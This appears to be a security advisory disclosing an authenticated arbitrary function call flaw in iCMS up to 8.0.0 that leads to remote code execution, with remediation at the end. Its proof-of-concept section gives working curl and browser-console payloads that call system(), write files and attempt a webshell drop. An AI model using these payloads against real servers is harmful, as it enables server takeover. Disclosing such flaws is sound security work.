Arbitrary Function Call Vulnerability Leading to RCE in iCMS ≤ 8.0.0
Title: Arbitrary Function Call Vulnerability Leading to RCE in iCMS ≤ 8.0.0
BUG_Author: security_reseacher
Affected Version: iCMS ≤ 8.0.0
Vendor: iCMS
Software: iCMS
Vulnerability Type: CWE-94 (Improper Control of Generation of Code)
Vulnerability Files:
app/config/ConfigAdmincp.php(Line 110-123)
Prerequisites (Exploitation Conditions):
Requirement Description Authentication Administrator account with access to backend ( /admincp.php)Permission Level Super administrator or user with config management permission CSRF Token Valid CSRF token from the current session Session Cookie Valid iCMS_ADMINCPsession cookieImportant Notes:
This is a post-authentication vulnerability
Requires valid admin credentials to exploit
CSRF protection exists but does not prevent authenticated attacks
The attacker must either have admin access or trick an admin into executing malicious requests (CSRF attack scenario)
Description:
A critical Remote Code Execution (RCE) vulnerability exists in iCMS version 8.0.0 and below. The vulnerability is located in the
save()function of theConfigAdmincpclass, which allows an authenticated administrator to execute arbitrary PHP functions through thesaveCallPOST parameter.Vulnerable Code Analysis:
File:
app/config/ConfigAdmincp.php(Lines 110-123)public function save($config = [], $saveCall = [])
{
empty($config) && $config = (array)Request::post('config');
$saveCall = (array)Request::post('saveCall'); // [VULN] User-controlled input, no validation
if ($saveCall) {
foreach ($saveCall as $key => $call) {
$data = $config[$key]; // [VULN] User-controlled data
// $call=='true' && $call='self::saveCall_'.$key;
if (is_callable($call)) { // [VULN] Only checks if callable, no whitelist
$config[$key] = call_user_func_array($call, [&$data, $config]); // [VULN] RCE HERE
}
}
}
// ...
}Root Cause:
No Input Validation: The
$saveCallparameter is directly retrieved from user POST data without any sanitization or whitelist validation.Dangerous Function Call: The
call_user_func_array()function executes any callable function specified by the attacker.User-Controlled Arguments: The first argument
$datacomes from$config[$key], which is also user-controlled via theconfigPOST parameter.
Attack Vector:
POST /admincp.php/config/system HTTP/1.1
config[key]=<command_or_data>&saveCall[key]=<dangerous_function>&CSRF_TOKEN=<token>The function call translates to:
call_user_func_array('<dangerous_function>', ['<command_or_data>', $config]);
Impact:
Impact Type Description Remote Code Execution Execute arbitrary system commands on the server File System Access Read, write, or delete arbitrary files Data Breach Access sensitive database and configuration data Server Takeover Full compromise of the web server Lateral Movement Potential pivot point for attacking internal network Proof of Concept:
Prerequisites:
Administrator Account: Valid admin credentials for the iCMS backend
CSRF Token: Obtain from any admin page (stored in JavaScript variable
$APP.CSRF_TOKEN)Session Cookie:
iCMS_ADMINCPcookie from authenticated session
Step 1: Login to Admin Panel
http://<target-ip>/admincp.phpLogin with administrator credentials.
Step 2: Obtain CSRF Token
Open browser Developer Tools (F12) → Console, and execute:
console.log($APP.CSRF_TOKEN);
Or view page source and search for
CSRF_TOKEN.Step 3: Obtain Session Cookie
Open Developer Tools → Application → Cookies → Copy
iCMS_ADMINCPvalue.Exploitation Methods:
Method 1: Command Execution via
system()(Blind)Payload:
curl -X POST "http://<target-ip>/admincp.php/config/system" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: iCMS_ADMINCP=<session_cookie>" \
-d "config[rce]=id&saveCall[rce]=system&CSRF_TOKEN=<csrf_token>"Expected Response:
{
"message": "iCMS Warning(2): system(): Argument #2 ($result_code) must be passed by reference, value given in iCMS://app/config/ConfigAdmincp.php:120"
}Note: The warning confirms
system()function was called at line 120, proving the arbitrary function call vulnerability exists. However, the command output is not visible in the response due to PHP's error handling. This is a blind command execution - use out-of-band techniques (DNS, HTTP callback) or file-based methods to confirm execution.Method 2: File Creation via
file_put_contents()This method provides clear evidence of code execution by creating a file on the server.
Payload:
curl -X POST "http://<target-ip>/admincp.php/config/system" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: iCMS_ADMINCP=<session_cookie>" \
-d "config[rce]=/tmp/pwned.txt&saveCall[rce]=file_put_contents&CSRF_TOKEN=<csrf_token>"Expected Response:
{
"data": [],
"message": "系统配置",
"code": 1,
"state": "SUCCESS",
"success": true
}Verification:
ls -la /tmp/pwned.txt
# Output: -rw-rw-r-- 1 www-data www-data 14 Dec 18 20:36 /tmp/pwned.txtMethod 3: Webshell Upload via
file_put_contents()Payload:
curl -X POST "http://<target-ip>/admincp.php/config/system" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: iCMS_ADMINCP=<session_cookie>" \
-d "config[rce]=./public/shell.php&saveCall[rce]=file_put_contents&CSRF_TOKEN=<csrf_token>"Note: The file content will be the serialized
$configarray. For a functional webshell, additional techniques may be required.Method 4: Browser-Based Exploitation
Execute in browser console while logged into admin panel:
// Get CSRF token from current page
const token = $APP.CSRF_TOKEN;
// Execute system command
fetch('/admincp.php/config/system', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest'
},
body: 'config[rce]=id&saveCall[rce]=system&CSRF_TOKEN=' + encodeURIComponent(token)
}).then(r => r.text()).then(console.log);Method 5: Create File with Custom Content
To write specific content, use the array serialization behavior:
curl -X POST "http://<target-ip>/admincp.php/config/system" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: iCMS_ADMINCP=<session_cookie>" \
-d “config[file]=/var/www/html/test.txt&config[content]=HACKED&saveCall[file]=file_put_contents&CSRF_TOKEN=<csrf_token>”Evidence:
Evidence 1: Arbitrary Function Call Confirmation (system)
Request:
POST /admincp.php/config/system HTTP/1.1
Host: localhost:8888
Cookie: iCMS_ADMINCP=00aftq30m9lnlir0hl4d0vr7h3
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
config[rce]=id&saveCall[rce]=system&CSRF_TOKEN=K1NJM0p5Nkkv...Response:
{
"message": "<div id=\"error-message\"><b>iCMS Warning(2)</b>:system(): Argument #2 ($result_code) must be passed by reference, value given in <b>iCMS://app/config/ConfigAdmincp.php:120</b>..."
}Analysis:
The error message proves
system()function was invoked atConfigAdmincp.php:120This confirms the arbitrary function call vulnerability exists
Command output is not visible (blind execution) due to PHP error handling
This alone proves the vulnerability - attacker-controlled function name is being executed
Evidence 2: File Creation Proof
Request:
POST /admincp.php/config/system HTTP/1.1
...
config[rce]=/tmp/pwned.txt&saveCall[rce]=file_put_contents&CSRF_TOKEN=...Server File System:
$ ls -la /tmp/pwned.txt
-rw-rw-r-- 1 haruki haruki 14 Dec 18 20:36 /tmp/pwned.txt
$ cat /tmp/pwned.txt
/tmp/pwned.txtThe file was successfully created, confirming arbitrary function execution.
Remediation:
Implement a whitelist of allowed callback functions:
$allowedCallbacks = [
'ConfigAdmincp::saveCall_config_template',
'ConfigAdmincp::saveCall_config_route',
];
if ($saveCall) {
foreach ($saveCall as $key => $call) {
if (in_array($call, $allowedCallbacks) && is_callable($call)) {
$config[$key] = call_user_func_array($call, [&$data, $config]);
}
}
}Never trust user input for function names in
call_user_func_array().